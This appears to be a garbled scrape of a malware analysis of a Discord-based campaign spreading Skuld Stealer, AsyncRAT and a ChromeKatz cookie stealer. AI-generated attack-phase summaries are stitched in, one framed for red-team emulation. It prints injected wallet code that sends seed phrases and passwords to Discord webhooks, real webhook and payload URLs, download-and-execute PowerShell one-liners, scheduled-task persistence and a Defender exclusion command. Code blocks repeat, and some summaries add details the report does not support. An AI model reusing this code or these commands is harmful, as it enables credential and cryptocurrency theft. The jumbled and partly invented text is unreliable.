Name URLwebhook https://discord[.]com/api/webhooks/1355186248578502736/RDywh_K6GQKXiM5T05ueXSSjYopg9nY6XFJo1o5Jnz6v9sih59A8p-6HkndI_nOTicOwebhook2 https://discord[.]com/api/webhooks/1348629600560742462/RJgSAE7cYY-1eKMkl5EI-qZMuHaujnRBMVU_8zcIaMKyQi4mCVjc9R0zhDQ7wmPoD7XpThe first webhook (webhookencr) is used for exfiltrating general data, such as browser credentials, system information, andDiscord tokens.The second webhook (webhookencr2) is specifically reserved for exfiltrating highly sensitive data: crypto wallet seed phrases andpasswords from the Exodus and Atomic crypto wallets.Below is a partially restored Go-code responsible for this logic:Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax Highlighterfunc main() {CONFIG["webhook"] = decryptXOR(CONFIG["webhookencr"].(string))CONFIG["webhook2"] = decryptXOR(CONFIG["webhookencr2"].(string))actions := []func(string){wallets.Run,browsers.Run,system.Run,discodes.Run,commonfiles.Run,tokens.Run,}// Standard modules using the first webhookfor , action := range actions {go action(CONFIG["webhook"].(string))}// Special module for crypto wallet injection using the second webhookgo mainGowrap1(CONFIG["webhook2"].(string))}func mainGowrap1(webhook2 string) {atomicURL := "https://github.com/hackirby/wallets-injection/raw/main/atomic.asar"exodusURL := "https://github.com/hackirby/wallets-injection/raw/main/exodus.asar"walletsinjection.Run(atomicURL, exodusURL, webhook2)}func main() { CONFIG["webhook"] = decryptXOR(CONFIG["webhookencr"].(string)) CONFIG["webhook2"] =

Phase: Execution

  • Technique: Automated Data Exfiltration via Webhooks
  • Procedure:
  • Use Go-code to set up webhooks for data exfiltration:
    • General data exfiltrated using webhook (e.g., browser credentials, system info, Discord tokens).
    • Sensitive data exfiltrated using webhook2 (e.g., crypto wallet seed phrases, passwords).

Phase: Collection

  • Technique: Data Harvesting from Various Sources
  • Procedure:
  • Execute predefined functions to gather information:
    • wallets.Run for wallet data.
    • browsers.Run for browser data.
    • system.Run for system information.
    • discodes.Run for Discord tokens.
    • commonfiles.Run for general files.
    • tokens.Run for additional tokens.

Phase: Exfiltration

  • Technique: Webhook Exfiltration
  • Command: go action(CONFIG["webhook"].(string)) for general data.
  • Command: go mainGowrap1(CONFIG["webhook2"].(string)) for sensitive wallet data.

Phase: Impact

  • Technique: Crypto Wallet Injection
  • Procedure:
  • Download and run wallet injection scripts:
    • walletsinjection.Run(atomicURL, exodusURL, webhook2) for compromising Atomic and Exodus wallets.

decryptXOR(CONFIG["webhookencr2"].(string)) actions := []func(string){ wallets.Run, browsers.Run, system.Run,discodes.Run, commonfiles.Run, tokens.Run, } // Standard modules using the first webhook for , action := range actions { goaction(CONFIG["webhook"].(string)) } // Special module for crypto wallet injection using the second webhook gomainGowrap1(CONFIG["webhook2"].(string)) } func mainGowrap1(webhook2 string) { atomicURL := "https://github.com/hackirby/wallets-injection/raw/main/atomic.asar" exodusURL := "https://github.com/hackirby/wallets-injection/raw/main/exodus.asar" walletsinjection.Run(atomicURL, exodusURL, webhook2) }func main() {CONFIG["webhook"] = decryptXOR(CONFIG["webhookencr"].(string))CONFIG["webhook2"] = decryptXOR(CONFIG["webhookencr2"].(string))actions := []func(string){wallets.Run,browsers.Run,system.Run,discodes.Run,commonfiles.Run,tokens.Run,}// Standard modules using the first webhookfor , action := range actions {go action(CONFIG["webhook"].(string))}// Special module for crypto wallet injection using the second webhookgo mainGowrap1(CONFIG["webhook2"].(string))}func mainGowrap1(webhook2 string) {atomicURL := "https://github.com/hackirby/wallets-injection/raw/main/atomic.asar"exodusURL := "https://github.com/hackirby/wallets-injection/raw/main/exodus.asar"walletsinjection.Run(atomicURL, exodusURL, webhook2)}Skuld uses a malicious technique known as wallet injection. It replaces legitimate cryptocurrency wallet applicationfiles (app.asar) with modified versions downloaded from GitHub. Skuld Stealer specifically targets the Exodus and Atomiccrypto wallets. The .asar files are archive files used by Electron applications (cross-platform applications built withJavaScript, HTML, and CSS). Electron applications commonly use .asar archives to package their source code and assets.Skuld Stealer downloads malicious .asar files from the following repositories:Atomic Wallet: https://github.com/hackirby/wallets-injection/raw/main/atomic.asarExodus Wallet: https://github.com/hackirby/wallets-injection/raw/main/exodus.asarOnce downloaded, Skuld replaces the original wallet archives with these malicious versions. Additionally, Skuld creates seeminglyharmless LICENSE text files in the wallet directories, and embeds Discord webhook URLs:Atomic wallet:%LOCALAPPDATA%\Programs\atomic\LICENSE.electron.txtExodus wallet:%LOCALAPPDATA%\exodus\app-\LICENSE

Phase: Execution

  • Technique: Command Execution via Go Functions
  • Procedure: The malware executes system functions using concurrent Go routines to perform various actions like data extraction from wallets, browsers, system, Discord, common files, and token operations.

Phase: Attack Execution

  • Technique: Malicious File Replacement
  • Procedure: Executes the function walletsinjection.Run(atomicURL, exodusURL, webhook2) to download and replace legitimate cryptocurrency wallet application files with modified versions from GitHub.

Phase: Impact

  • Technique: Cryptocurrency Wallet Injection
  • Procedure: Downloads and replaces legitimate .asar files of Atomic and Exodus wallets from the following URLs:
  • Atomic Wallet: https://github.com/hackirby/wallets-injection/raw/main/atomic.asar
  • Exodus Wallet: https://github.com/hackirby/wallets-injection/raw/main/exodus.asar

Phase: Persistence

  • Technique: Discord Webhook Embedding
  • Procedure: Embeds Discord webhook URLs in newly created LICENSE text files in wallet directories:
  • Atomic Wallet: %LOCALAPPDATA%\Programs\atomic\LICENSE.electron.txt
  • Exodus Wallet: %LOCALAPPDATA%\exodus\app-<version>\LICENSE

Figure 18 – Fake LICENSE file in Exodus wallet contains a Discord webhook URL.These webhook URLs are then read by the malicious JavaScript inside the injected .asar files.When users interact with their wallets, the patched JavaScript function extracts sensitive user data, such as password and seedphrases, and sends it to the attacker.For instance, in the case of the Exodus wallet, Skuld injects malicious code into the wallet’s unlock function, which receives theuser’s entered password and retrieves the seed phrase. The malicious JavaScript then sends both the extracted seed phrase andpassword to the attacker via the Discord webhook.Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax Highlighterasync unlock(e) {if (await this.shouldUseTwoFactorAuthMode()) return;const t = await Object(ee.readSeco)(this._walletPaths.seedFile, e);this._setSeed(M.fromBuffer(t)), P.a.randomFillSync(t), await this._loadLightningCreds()const webhook = await fs.readFile('LICENSE', 'utf8');const mnemonic = this._seed.mnemonicString;const password = e;const computerName = os.hostname();const username = os.userInfo().username;var request = new XMLHttpRequest();request.open("POST", webhook, true);request.setRequestHeader("Content-Type", "application/json");var payload = JSON.stringify({"username": "skuld - exodus injection","avatar_url": "https://i.ibb.co/GJGXzGX/discord-avatar-512-FCWUJ.png","content": "" + computerName + "" + " - " + "" + username + "","embeds": [{

Phase: Execution

  • Technique: JavaScript Code Injection
  • Procedure: The threat actor injects malicious code into the wallet's JavaScript functions to intercept sensitive data.

Phase: Data Collection

  • Technique: Credential and Information Capture
  • Procedure: The injected JavaScript modifies the unlock function to:
  • Extract the seed phrase using the line const mnemonic = this._seed.mnemonicString;.
  • Capture the user's password with const password = e;.
  • Gather system information such as computer name (os.hostname()) and username (os.userInfo().username;).

Phase: Exfiltration

  • Technique: Exfiltration Over Alternative Protocol
  • Command: The malicious JavaScript sends the captured data to the attacker using a POST request: javascript var request = new XMLHttpRequest(); request.open("POST", webhook, true); request.setRequestHeader("Content-Type", "application/json"); var payload = JSON.stringify({ "username": "skuld - exodus injection", "avatar_url": "https://i.ibb.co/GJGXzGX/discord-avatar-512-FCWUJ.png", "content": "`" + computerName + "`" + " - " + "`" + username + "`", "embeds": [{ ... }] }); request.send(payload);
  • Details: The webhook URL is retrieved from the fake LICENSE file and used to exfiltrate the data.

"title": "Exodus Injection","color": 0xb143e3,"footer": {"text": "skuld exodus injection - made by hackirby","icon_url": "https://avatars.githubusercontent.com/u/145487845?v=4",},"fields": [{"name": "Mnemonic","value": "" + mnemonic + "",},{"name": "Password","value": "" + password + "",},],},]});request.send(payload);}async unlock(e) { if (await this.shouldUseTwoFactorAuthMode()) return; const t = await Object(ee.readSeco)(this._walletPaths.seedFile, e); this._setSeed(M.fromBuffer(t)), P.a.randomFillSync(t), await this._loadLightningCreds() constwebhook = await fs.readFile('LICENSE', 'utf8'); const mnemonic = this._seed.mnemonicString; const password = e; constcomputerName = os.hostname(); const username = os.userInfo().username; var request = new XMLHttpRequest();request.open("POST", webhook, true); request.setRequestHeader("Content-Type", "application/json"); var payload =JSON.stringify({ "username": "skuld - exodus injection", "avatar_url": "https://i.ibb.co/GJGXzGX/discord-avatar-512-FCWUJ.png", "content": "" + computerName + "" + " - " + "" + username + "", "embeds": [ { "title": "Exodus Injection","color": 0xb143e3, "footer": { "text": "skuld exodus injection - made by hackirby", "icon_url": "https://avatars.githubusercontent.com/u/145487845?v=4", }, "fields": [ { "name": "Mnemonic", "value": "" + mnemonic + "", }, {"name": "Password", "value": "" + password + "", }, ], }, ]}); request.send(payload); } async unlock(e) { if (await this.shouldUseTwoFactorAuthMode()) return; const t = await Object(ee.readSeco)(this._walletPaths.seedFile, e); this._setSeed(M.fromBuffer(t)), P.a.randomFillSync(t), await this._loadLightningCreds() const webhook = await fs.readFile('LICENSE', 'utf8'); const mnemonic = this._seed.mnemonicString; const password = e; const computerName = os.hostname(); const username = os.userInfo().username; var request = new XMLHttpRequest();

Phase: Credential Access

  • Technique: Credential Dumping via Mnemonic and Password Extraction
  • Procedure: The threat actor extracts the mnemonic and password from the user’s wallet file using readSeco function and the provided password parameter.

Phase: Exfiltration

  • Technique: Data Exfiltration via Webhook
  • Procedure: Collected data (computer name, username, mnemonic, and password) is formatted into a JSON payload.
  • Command: The data is sent to a specified webhook using XMLHttpRequest, with the POST method and Content-Type set to application/json.

Phase: Reconnaissance

  • Technique: Hostname and User Enumeration
  • Command: Retrieve the computer's hostname using os.hostname().
  • Command: Retrieve the current user's username using os.userInfo().username.

request.open("POST", webhook, true); request.setRequestHeader("Content-Type", "application/json"); var payload = JSON.stringify({ "username": "skuld - exodus injection", "avatar_url": "https://i.ibb.co/GJGXzGX/discord-avatar-512-FCWUJ.png", "content": "" + computerName + "" + " - " + "" + username + "", "embeds": [ { "title": "Exodus Injection", "color": 0xb143e3, "footer": { "text": "skuld exodus injection - made by hackirby", "icon_url": "https://avatars.githubusercontent.com/u/145487845?v=4", }, "fields": [ { "name": "Mnemonic", "value": "" + mnemonic + "", }, { "name": "Password", "value": "" + password + "", }, ], }, ]}); request.send(payload); }As we know, the seed phrase (or mnemonic phrase) is a human-readable representation of a wallet’s master private key. Understandards like BIP-39, a 12- or 24-word mnemonic encodes the entropy that, when run through a key-derivationfunction (e.g. PBKDF2) and the BIP-32 hierarchical-deterministic algorithm, generates the wallet’s master private key and all itsdescendant private/public key pairs.In practical terms, obtaining a user’s seed phrase lets an attacker reconstruct every private key in that wallet’s keychain andtherefore grants full control over all cryptocurrency addresses and funds derived from it.Campaign Evolution and Addition of New ModulesDuring our ongoing monitoring of the campaign, we observed that the threat actors periodically updatethe installer.exe downloader. Newer versions often achieve zero detection rates on VirusTotal. Additionally, new payloads areoccasionally introduced.In 2024, Google introduced a security feature in Chrome called Application-Bound Encryption (ABE), aimed at preventing cookieextraction via standard access to SQLite Cookies files. This enhancement rendered most traditional stealers, includingSkuld, ineffective.To circumvent this, attackers adapted the open-source tool ChromeKatz (https://github.com/Meckazin/ChromeKatz/), enablingthem to steal cookies from updated versions of Google Chrome, as well as Chromium-based browsers like Edge and Brave. Theupdated installer.exe (SHA256: 160eda7ad14610d93f28b7dee20501028c1a9d4f5dc0437794ccfc2604807693) also

Phase: Execution

  • Technique: Remote Data Exfiltration via Webhook
  • Code Snippet: javascript request.open("POST", webhook, true); request.setRequestHeader("Content-Type", "application/json"); var payload = JSON.stringify({ "username": "skuld - exodus injection", "avatar_url": "https://i.ibb.co/GJGXzGX/discord-avatar-512-FCWUJ.png", "content": "`" + computerName + "`" + " - " + "`" + username + "`", "embeds": [ { "title": "Exodus Injection", "color": 0xb143e3, "footer": { "text": "skuld exodus injection - made by hackirby", "icon_url": "https://avatars.githubusercontent.com/u/145487845?v=4", }, "fields": [ { "name": "Mnemonic", "value": "`" + mnemonic + "`", }, { "name": "Password", "value": "`" + password + "`", }, ], }, ] }); request.send(payload);

Phase: Defense Evasion

  • Technique: Zero Detection Rates on VirusTotal
  • Procedure: Periodic updates to the installer.exe downloader to evade antivirus detection.

Phase: Credential Access

  • Technique: Cookie Theft from Web Browsers
  • Tool Used: ChromeKatz
  • Procedure: Modified ChromeKatz tool to extract cookies from updated Google Chrome and other Chromium-based browsers despite security enhancements like Application-Bound Encryption (ABE).

This structured output provides an overview of the threat actor's procedures, focusing on the extraction and exfiltration techniques they employ, as well as their efforts to bypass modern security measures.

downloads the stealer from BitBucket, where it is stored in encrypted form:https://bitbucket[.]org/syscontrol6/syscontrol/downloads/cks.exeTo decrypt the downloaded binary, the loader uses the same encryption algorithm used for the other payloads. Thedecrypted cks.exe has the SHA256 hash:f08676eeb489087bc0e47bd08a3f7c4b57ef5941698bc09d30857c650763859cUnlike traditional stealers that rely on decrypting cookie files, the ChromeKatz-based stealer operates directly within thebrowser’s memory, effectively bypassing ABE and extracting cookies from the latest versions of Google Chrome, Edge, andBrave. The stealer accesses the browser process memory directly, retrieving cookies in their decrypted form.Before initiating cookie collection, the stealer searches for the appropriate browserprocess (chrome.exe, msedge.exe, or brave.exe) for injection. It enumerates active processes, identifies browserprocesses, determines the executable path using the K32GetModuleFileNameExW function, and retrieves the browser versionvia GetFileVersionInfoW. Figure 19 – Detecting the browser version.This step is crucial, as ChromeKatz can only operate with specific browser versions where the CookieMap structure in memory isknown.Notably, cookies are stored exclusively in a single child process of the browser, the NetworkService, responsible for networkoperations. To locate the correct process, the stealer checks for the following string in the command-line arguments:Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax Highlighter--utility-sub-type=network.mojom.NetworkService--utility-sub-type=network.mojom.NetworkService--utility-sub-type=network.mojom.NetworkServiceThe steps in the cookie extraction mechanism:The stealer identifies the largest MEM_PRIVATE | PAGE_READWRITE memory region within the browser’s memory, presumed tocontain the CookieMap structure.It employs signature-based search with masks (patterns containing 0xAA as wildcards) to locate the start of the structure.The stealer recursively traverses the B-tree representing the in-memory cookie storage structure to extract cookie data.

Phase: Initial Access

  • Technique: Download and Decrypt Payload
  • Procedure: The threat actor downloads an encrypted stealer from a BitBucket repository and decrypts it using a custom algorithm.

Phase: Execution

  • Technique: Process Injection
  • Procedure:
  • Enumerates active processes to identify browser processes (chrome.exe, msedge.exe, brave.exe).
  • Uses K32GetModuleFileNameExW to determine executable paths.
  • Retrieves browser version using GetFileVersionInfoW.
  • Finds the specific browser child process responsible for network operations by looking for the --utility-sub-type=network.mojom.NetworkService argument.

Phase: Memory Manipulation

  • Technique: Memory Search and Data Extraction
  • Procedure:
  • Identifies the largest MEM_PRIVATE | PAGE_READWRITE memory region believed to contain the CookieMap structure.
  • Performs a signature-based search with wildcard masks to locate the structure start.
  • Recursively traverses the B-tree structure in memory to extract decrypted cookie data.

Figure 20 – Recursive traversal of the B-tree storing cookies in browser memory.The attackers incorporated string encryption (similar to that used in the downloaders) and a check for the presence of asettings.txt file, which should have been created by the downloader. This simple trick allows the stealer to bypass sandboxenvironments, as the module exits without initiating malicious activity if run in isolation from the rest of the malware chain.The stolen data is archived into a file exported_cookies.zip, which is then sent to the attackers via a Discord webhook.In the analyzed samples (SHA256: db1aa52842247fc3e726b339f7f4911491836b0931c322d1d2ab218ac5a4fb08, f08676eeb489087bc0e47bd08a3f7c4b57ef5941698bc09d30857c650763859c), the following webhook URLs wereused:https://discord[.]com/api/webhooks/1363890376271724785/NiZ1XTpzvw27K9O-0IVn7jM7oVVA_6drg91Wxgtgm78A9xsLoD1e_t-GFLiRBw5Lfv41https://discord[.]com/api/webhooks/1367077804990009434/jPrMZM5-Rq9LryHdcKRBvsObHHWhNvHnnhPn07yohGYsDdFYadR2YCk4oqnHwXekdDibAdditional Campaign Targeting GamersWe also identified another active campaign, operated by the same threat actors, which shares core characteristics with thepreviously described campaign but employs a different initial infection vector. In this case, the loader is distributed as aTrojanized hacktool for unlocking pirated downloadable content (DLC) in The Sims 4 — specifically targeting that game’s playerbase.The malicious archive Sims4-Unlocker.zip (SHA256: ef8c2f3c36fff5fccad806af47ded1fd53ad3e7ae22673e28e541460ff0db49c) is hosted at:https://bitbucket[.]org/htfhtthft/simshelper/downloads/Sims4-Unlocker.zipBitbucket provides download counters, allowing us to see the scope of the campaign. During our monitoring, we observed morethan 350 downloads of the archive: Figure 21 – Bitbucket download count for Sims4-Unlocker.zipDespite the different entry point and target audience, the same loader framework is used, along with the SkuldStealer and AsyncRAT payloads.

Phase: Initial Access

  • Technique: Trojanized Software
  • Procedure: Distribution of a malicious archive named Sims4-Unlocker.zip, masquerading as a hacktool for unlocking pirated DLC in The Sims 4.

Phase: Execution

  • Technique: Execution of Malicious Payloads
  • Procedure: Execution of SkuldStealer and AsyncRAT payloads via the loader.

Phase: Evasion

  • Technique: Sandbox Evasion
  • Procedure: Check for the presence of asettings.txt file; the stealer exits if the file is absent, indicating a sandbox environment.

Phase: Data Exfiltration

  • Technique: Data Exfiltration via Webhook
  • Procedure: The stolen data, including browser cookies, is archived into a file named exported_cookies.zip and sent via Discord webhook.

Additional related repositories likely linked to past campaigns by the same actors:https://bitbucket[.]org/updateservicesvar/serv/downloads/https://bitbucket[.]org/registryclean1/fefsed/downloads/Victims and ImpactPrecise identification of victims remains challenging due to the nature of the attack infrastructure. As the Skuld Stealer usesDiscord webhooks, a one-way communication method, for exfiltrating stolen data, the attackers receive sensitive informationwithout leaving publicly accessible traces. As a result, direct victim attribution is limited.However, hosting payloads on Bitbucket provides a way to roughly estimate the campaign’s reach based on the downloadstatistics. Across several observed repositories, the number of downloads exceeded 1,300. While not every download necessarilycorresponds to a successful infection, this number lets us reasonably approximate the potential victim pool.Based on external telemetry, we determined that victims are distributed across multiple countries, including:United StatesVietnamFranceGermanySlovakiaAustriaNetherlandsUnited KingdomThe choice of payloads, including a powerful stealer specifically targeting cryptocurrency wallets, suggests that the attackers areprimarily focused on crypto users and motivated by financial gain.ConclusionThis campaign illustrates how a subtle feature of Discord’s invite system, the ability to reuse expired or deleted invite codes invanity invite links, can be exploited as a powerful attack vector. By hijacking legitimate invite links, threat actors silently redirectunsuspecting users to malicious Discord servers.The attackers constructed a carefully orchestrated, multi-stage infection chain, beginning with social engineeringtechniques, followed by a PowerShell-based downloader, and employing trusted services like GitHub, Bitbucket, and Pastebin tostealthily host and deliver encrypted malware payloads. Interestingly, instead of employing sophisticated obfuscation or packingtechniques, they relied on simpler yet highly effective evasion methods: Altering behavior based on command-lineparameters, introducing execution delays through scheduled tasks, and decrypting payloads only after multi-step execution.The selected payloads, specifically AsyncRAT and a customized variant of Skuld Stealer, indicate a financial motivation behindthis attack. While Skuld targets credentials from multiple sources such as browsers and Discord, the campaign places particularemphasis on cryptocurrency wallets, notably Exodus and Atomic, by injecting malicious JavaScript that exfiltrates stolen walletseed phrases and passwords via a dedicated Discord webhook. At the same time, the persistent scheduled task regularly triggersthe second-stage loader, ensuring continuous execution and persistence of AsyncRAT. Even if a victim discovers and removes themalware, AsyncRAT will be redownloaded and re-executed, enabling attackers to retain ongoing remote control over previouslycompromised systems.Discord took swift action to disable the malicious bot used in this campaign, which helps disrupt the current infectionchain. However, the broader risk, that attackers could create new bots or adopt alternate delivery methods that leverage the samecore techniques, still remains.

Phase: Initial Access

  • Technique: Social Engineering
  • Procedure: The attacker uses hijacked Discord invite links to redirect users to malicious servers.

Phase: Execution

  • Technique: PowerShell Execution
  • Procedure: A PowerShell-based downloader is used to retrieve and execute additional payloads.

Phase: Persistence

  • Technique: Scheduled Task for Persistence
  • Command: schtasks /create /tn "UpdateTask" /tr "C:\Path\To\Loader.exe" /sc daily /st 12:00
  • Purpose: Regularly triggers the second-stage loader to maintain persistence and re-execute AsyncRAT if removed.

Phase: Defense Evasion

  • Technique: Altered Execution Behavior
  • Procedure: Attackers alter behavior based on command-line parameters and introduce execution delays through scheduled tasks.

Phase: Delivery

  • Technique: Hosting on Trusted Services
  • Procedure: Payloads are hosted on services like GitHub, Bitbucket, and Pastebin for stealthy delivery.

Phase: Credential Access

  • Technique: Stealer Malware
  • Procedure:
  • Program: Skuld Stealer
  • Function: Targets credentials and cryptocurrency wallets, such as Exodus and Atomic, by injecting malicious JavaScript to exfiltrate wallet seed phrases and passwords.

Phase: Command and Control

  • Technique: Use of Webhooks
  • Procedure: Stolen data is exfiltrated via Discord webhooks, minimizing public traces and logging.

Phase: Impact

  • Technique: Continuous Remote Access
  • Procedure: AsyncRAT ensures continued remote control by being redownloaded and re-executed post-removal.

ProtectionCheck Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and operatingsystems and protect against the attacks and threats described in this report.Indicators of CompromiseHashesSHA256 Description673090abada8ca47419a5dbc37c5443fe990973613981ce622f30e83683dc932 1st Stage Downloader (RnrLoader)160eda7ad14610d93f28b7dee20501028c1a9d4f5dc0437794ccfc2604807693 1st Stage Downloader (RnrLoader newerversion)5d0509f68a9b7c415a726be75a078180e3f02e59866f193b0a99eee8e39c874f 2nd Stage Downloader (RnrLoader)375fa2e3e936d05131ee71c5a72d1b703e58ec00ae103bbea552c031d3bfbdbe PowerShell Script53b65b7c38e3d3fca465c547a8c1acc53c8723877c6884f8c3495ff8ccc94fbe AsyncRAT payloadd54fa589708546eca500fbeea44363443b86f2617c15c8f7603ff4fb05d494c1 AsyncRAT payload670be5b8c7fcd6e2920a4929fcaa380b1b0750bfa27336991a483c0c0221236a AsyncRAT payload8135f126764592be3df17200f49140bfb546ec1b2c34a153aa509465406cb46c Skuld Stealer payloadf08676eeb489087bc0e47bd08a3f7c4b57ef5941698bc09d30857c650763859c ChromeKatz payloaddb1aa52842247fc3e726b339f7f4911491836b0931c322d1d2ab218ac5a4fb08 ChromeKatz payloadef8c2f3c36fff5fccad806af47ded1fd53ad3e7ae22673e28e541460ff0db49c Sims4-Unlocker.zipNetwork IndicatorsPhishing Website:captchaguard[.]mehttps://captchaguard[.]me/?key=PowerShell Script:https://pastebin[.]com/raw/zW0L2z2MBitbucket repositories:https://bitbucket[.]org/updatevak/upd/downloadshttps://bitbucket[.]org/syscontrol6/syscontrol/downloadshttps://bitbucket[.]org/updateservicesvar/serv/downloadshttps://bitbucket[.]org/registryclean1/fefsed/downloadshttps://bitbucket[.]org/htfhtthft/simshelper/downloadsFirst stage downloader:https://github[.]com/frfs1/update/raw/refs/heads/main/installer.exehttps://github[.]com/shisuh/update/raw/refs/heads/main/installer.exehttps://github[.]com/gkwdw/wffaw/raw/refs/heads/main/installer.exeSecond stage downloader:https://bitbucket[.]org/updatevak/upd/downloads/Rnr.exehttps://bitbucket[.]org/syscontrol6/syscontrol/downloads/Rnr.exe

Phase: Initial Access

  • Technique: Phishing via Malicious Link
  • Procedure: The attacker distributes phishing emails containing links to malicious websites designed to deliver the first stage downloader (RnrLoader).

Phase: Execution

  • Technique: PowerShell Script Execution
  • Command: powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command (Invoke-WebRequest -Uri "https://pastebin.com/raw/zW0L2z2M" | Out-File -FilePath C:\Windows\Temp\script.ps1; Start-Process powershell -ArgumentList @('-ExecutionPolicy Bypass -NoProfile -File C:\Windows\Temp\script.ps1') -NoNewWindow -Wait)

Phase: Persistence

  • Technique: Scheduled Task Creation
  • Procedure: Create a scheduled task to re-execute the malicious script or payload.

Phase: Command and Control

  • Technique: AsyncRAT Usage
  • Procedure: Deploy AsyncRAT payloads to maintain remote control over the compromised systems.

Phase: Credential Access

  • Technique: Credential Dumping with ChromeKatz
  • Procedure: Use ChromeKatz payloads to extract stored credentials from web browsers.

Phase: Data Exfiltration

  • Technique: Skuld Stealer Deployment
  • Procedure: Use Skuld Stealer to exfiltrate sensitive information from compromised systems.
Gemini 2.0

Phase: Initial Access

  • Technique: Hijacked Discord Invite Links
  • Procedure: The attacker hijacks expired Discord invite links through vanity link registration, redirecting users from trusted sources to malicious servers. The malicious Discord server mimics a legitimate one, prompting users to "verify" their account.

Phase: Execution

  • Technique: ClickFix Phishing via Discord Bot
  • Procedure: A bot named "Safeguard" prompts users to complete a verification step. When clicked, it redirects users to a phishing website mimicking Discord's UI.

  • Technique: PowerShell Execution via Social Engineering

  • Procedure: The phishing website instructs users to open the Windows Run dialog, paste a preloaded PowerShell command (copied to clipboard), and press Enter.

Phase: Payload Delivery

  • Technique: PowerShell Script Execution
  • Command: powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZoNXYw9yL6MHcoRHa';$u=($r[-1..-($r.Length)]-join ");$url=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($u));iex (iwr -Uri $url)"

  • Technique: Download and Execute Installer

  • Command: PowerShell downloads and executes an EXE file (installer.exe) from a GitHub URL, initiating the next phase of the attack.

  • Technique: Create Directory for Scripts

  • Technique: Download Encrypted Payloads

    • BitBucket: Download two encrypted payloads from the bit bucket service
  • Technique: Decrypt Payloads with XOR.

    • Using a XOR decryption algorithm to decrypt the payloads
  • Technique: Download Encrypted Cks.exe

    • Download encrypted ChromeKatz from bitbucket
  • Technique: Check for a "Settings.txt"

    • Check for setting.txt file.
  • Technique: B-Tree memory extraction

    • Extract cookie data from memory with recursive B-Tree traversal.

Phase: Persistence

  • Technique: Scheduled Task for Persistence
  • Command: schtasks /create /tn "checker" /tr "wscript.exe \"C:\\Users\\%USERNAME%\\AppData\\Local\\ServiceHelper\\runsys.vbs\"" /sc MINUTE /mo 5 /RL HIGHEST"
  • Procedure: The script creates a scheduled task named "checker" to run every 5 minutes with the highest privileges, triggering the "runsys.vbs" script.

  • Technique: Create Exclusion path in Windows Defender

  • Technique: Persistent Scheduled Task using VBScript

  • Procedure: The scheduled task executes runsys.vbs, which in turn executes syshelpers.exe (the decrypted Rnr.exe downloader) every 5 minutes.

Phase: Credential Access

  • Technique: Local File Reads

    • readSeco() method used to read Discord tokens
  • Technique: Browser Memory Extraction (ChromeKatz)

    • Access the browser process memory directly
    • Search for largest MEM_PRIVATE | PAGE_READWRITE
    • Traverse B-Tree representing cookie storage
    • The process checks the command line arguments for --utility-sub-type=network.mojom.NetworkService
  • Technique: Wallet injection.

    • Replace application files (app.asar) with malicious versions
    • Steal seed phrase and password via webhooks in LICENSE files

Phase: Exfiltration

  • Technique: Data Exfiltration via Discord Webhooks
  • Procedure: The Skuld Stealer and the custom ChromeKatz stealer send collected data through a Discord webhook to exfiltrate stolen information.
  • Technique: Wallet Credentials Extraction

Phase: Defense Evasion

  • Technique: Altering behavior based on command-line parameters

  • Technique: Introducing delays through scheduled tasks,

  • Technique: Decrypting payloads only after multi-step execution

Gemini 2.5

Here's a structured breakdown of the threat actor's procedures, suitable for red team emulation, with indicators of compromise (IOCs) excluded:

Phase: Initial Access

  • Technique: Discord Invite Link Hijacking (Social Engineering)
    • Procedure: Threat actors hijack expired or deleted Discord invite links (including vanity links) and re-register them to redirect unsuspecting users to attacker-controlled malicious Discord servers.
  • Technique: Trojanized Software Distribution
    • Procedure: Malware loaders are distributed as seemingly legitimate "hacktools" or unlockers for software, targeting specific user bases (e.g., a "Sims 4 DLC unlocker").

Phase: Execution

  • Technique: User-Assisted Execution via ClickFix Phishing
    • Procedure: Users are redirected to a phishing website (mimicking Discord UI). This site presents a fake CAPTCHA failure and socially engineers the user to copy a malicious PowerShell command to their clipboard, then guides them to execute it via the Windows Run dialog (Win + R, paste, Enter).
  • Technique: PowerShell Command Execution (Staged Download & Execution)
    • Command: powershell -NoExit -Command "<obfuscated_command_to_download_and_execute_a_script_from_a_public_paste_service>"
      • Explanation: This command, copied to the user's clipboard, uses Invoke-WebRequest (iwr) to download a PowerShell script from a public paste service and Invoke-Expression (iex) to execute it.
  • Technique: PowerShell Download and Execute (First-Stage Loader)
    • Command (inferred from script): $webClient.DownloadFile($url, $exePath)
      • Explanation: The PowerShell script downloads a first-stage downloader executable (e.g., installer.exe) from a trusted cloud hosting service (e.g., GitHub) to the %TEMP% directory.
    • Command (inferred from script): Start-Process -FilePath <path_to_downloaded_executable> -ArgumentList "-arg1" -NoNewWindow
      • Explanation: Executes the downloaded first-stage loader with a specific command-line argument (e.g., -arg1) and hides its process window.
  • Technique: Visual Basic Script Execution (Second-Stage Loader)
    • Command (executed by scheduled task): wscript.exe "%USERPROFILE%\AppData\Local\ServiceHelper\runsys.vbs"
      • Explanation: A Visual Basic script (runsys.vbs) is executed silently to launch the second-stage downloader executable (syshelpers.exe).

Phase: Persistence

  • Technique: Scheduled Task Creation
    • Command: schtasks /create /tn "checker" /tr "wscript.exe \"%USERPROFILE%\AppData\Local\ServiceHelper\runsys.vbs\"" /sc MINUTE /mo 5 /RL HIGHEST
      • Explanation: Creates a scheduled task named "checker" that runs runsys.vbs every 5 minutes with the highest privileges to ensure continuous execution and persistence of the second-stage downloader and subsequently AsyncRAT.
  • Technique: Placeholder File for Execution Flag
    • Procedure: The malware creates a specific file (e.g., settings.txt) in its working directory (%USERPROFILE%\AppData\Local\ServiceHelper\) upon first execution. This file serves as an execution flag, which later malware components check to determine if they have previously run or if the environment is a sandbox.

Phase: Defense Evasion

  • Technique: PowerShell Console Window Hiding
    • Procedure: The initial PowerShell script programmatically hides its console window to operate stealthily on the system.
  • Technique: Add Windows Defender Exclusion
    • Command (inferred from nat1.vbs): powershell -Command Add-MpPreference -ExclusionPath '%USERPROFILE%\AppData\Local\ServiceHelper\' -runas
      • Explanation: A Visual Basic script executes a PowerShell command to add the malware's working directory (%USERPROFILE%\AppData\Local\ServiceHelper\) to Windows Defender's exclusion list.
  • Technique: String and API Call Obfuscation
